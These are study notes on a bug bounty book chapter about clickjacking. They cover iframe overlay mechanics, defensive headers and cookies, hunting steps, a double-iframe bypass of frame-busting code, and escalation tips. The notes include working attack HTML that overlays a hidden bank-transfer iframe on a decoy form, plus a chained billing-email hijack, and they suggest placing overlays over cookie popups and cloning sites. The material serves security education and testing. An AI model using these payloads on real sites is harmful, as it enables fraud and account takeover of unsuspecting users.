Table of Contents

BBC Ch 8: Clickjacking

Source: Bug Bounty Bootcamp by Vickie Li

Clickjacking (user-interface redressing) tricks users into clicking a malicious button that has been made to look legitimate. Attackers use HTML page-overlay techniques to hide one web page within another.

Note: clickjacking is rarely accepted by bug bounty programs because it requires significant user interaction. Many programs explicitly list it as out of scope. Some programs accept it if you can demonstrate clear impact. Always check the policy before testing.

Mechanisms

Clickjacking relies on HTML iframes. An iframe embeds one web page inside another:

<html>
  <h3>This is my web page.</h3>
  <iframe src="https://www.example.com" width="500" height="500"></iframe>
  <p>If this window is not blank, the iframe source URL can be framed!</p>
</html>

If the target page renders inside the iframe, it is frameable. If it shows blank, framing is prevented server-side.

Attack setup:

Say example.com has a money transfer page at https://www.example.com/transfer_money that accepts recipient and amount URL parameters to pre-fill the form. The attacker embeds this page in an iframe on their site, overlays decoy content on top, and sets the iframe to nearly invisible:

<html>
  <style>
    #victim-site {
      width:500px;
      height:500px;
      opacity:0.00001;
      z-index:1;
    }
    #decoy {
      position:absolute;
      width:500px;
      height:500px;
      z-index:-1;
    }
  </style>
  <div id="decoy">
    <h3>Welcome to my site!</h3>
    <h3>Subscribe to our cybersecurity newsletter!</h3>
    <form action="/subscribe" method="post">
      <label for="email">Email:</label>
      <br>
      <input type="text" id="email" value="Please enter your email!">
      <br><br>
      <input type="submit" value="Submit">
    </form>
  </div>
  <iframe id="victim-site"
    src="https://www.example.com/transfer_money?recipient=attacker_account_12345&amount=5000"
    width="500" height="500">
  </iframe>
</html>

Key CSS properties:

The attacker positions the iframe so the Transfer Balance button sits directly over the Subscribe button. The victim sees only the newsletter form; clicking Submit actually executes the bank transfer.

Prevention

Two conditions must exist for clickjacking to succeed:

  1. The vulnerable page contains a state-changing action (changes account data, transfers funds, etc.)
  2. The page allows itself to be framed by other origins

X-Frame-Options header – instructs browsers whether the page can be framed:

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN

Content-Security-Policy headerframe-ancestors directive:

Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors 'self' *.example.com;

SameSite cookies – if session cookies are SameSite=Strict or SameSite=Lax, they will not be sent in requests made within a third-party iframe. This means even if the page is framed, the victim will not be authenticated, defeating the attack for any action that requires authentication:

Set-Cookie: PHPSESSID=UEhQUOVTUOlE; Max-Age=86400; Secure; HttpOnly; SameSite=Strict

Hunting for Clickjacking

Step 1: Find State-Changing Actions

Clickjacking is only valuable when the target page contains a state-changing action achievable via clicks alone (not keyboard input). Go through the application and list every action that changes account state, along with the URL:

Actions that require explicit keyboard input (typing a recipient account number) are generally not feasible because they require too much social engineering.

Step 2: Check Response Headers

Intercept the response for each state-changing page in Burp. Look for:

If none of these are present, the page may be vulnerable. Even if the site uses JavaScript frame-busting instead, that is often bypassable.

Step 3: Confirm Frameability

Create a test HTML page that frames the target:

<HTML>
  <head>
    <title>Clickjack test page</title>
  </head>
  <body>
    <p>Web page is vulnerable to clickjacking if the iframe is populated with the target page!</p>
    <iframe src="URL_OF_TARGET_PAGE" width="500" height="500"></iframe>
  </body>
</HTML>

Open this page in a browser. If the target page renders inside the iframe, framing is possible.

Step 4: Confirm the Vulnerability

Execute the state-changing action against your own test account through the framed page. If the action succeeds when triggered via click through the iframe, the vulnerability is confirmed.

Bypassing Protections

If the site uses JavaScript frame-busting code instead of HTTP response headers, it may be bypassable. A common pattern:

if (top.location == self.location){
  // Allow framing.
}
else{
  // Disallow framing.
}

This compares the top frame's location to the current frame's location. If the top frame is a page on the victim's own domain (e.g., one that allows embedding custom iframes – profile links, social share widgets), you can exploit this with the double iframe trick:

  1. Host a page on attacker.com that frames the victim's sensitive functionality
  2. Embed your attacker.com page inside a page hosted on victim.com that allows custom iframes
  3. Now top.location and self.location both point to victim.com; the frame-busting code approves it

Escalating the Attack

Focus on the most sensitive actions for maximum impact:

For the chained attack HTML:

<h3>Welcome to my site!</h3>
<iframe
  src="https://bank.example.com/change_billing_email?email=attacker@attacker.com"
  width="500" height="500">
</iframe>
<iframe src="https://bank.example.com/send_summary" width="500" height="500">
</iframe>
</html>

Payload delivery: for the attack to work, users must visit your page and click. The most effective placement is directly over a “Please Accept That This Site Uses Cookies!” popup – users click it reflexively without reading. The Social-Engineer Toolkit (github.com/trustedsec/social-engineer-toolkit) can clone the target site to make the decoy more convincing.

6-Step Checklist

  1. Spot state-changing actions on the target; list their URLs; mark those executable via clicks only.
  2. Check each page for X-Frame-Options, Content-Security-Policy: frame-ancestors, and SameSite cookies.
  3. Craft a test HTML page with an iframe pointing to the target; confirm the page is frameable.
  4. Execute the state-changing action through the iframe on your own test account to confirm.
  5. Craft a convincing delivery mechanism (cookie consent popup overlay, cloned site).
  6. Draft the clickjacking report with a working PoC.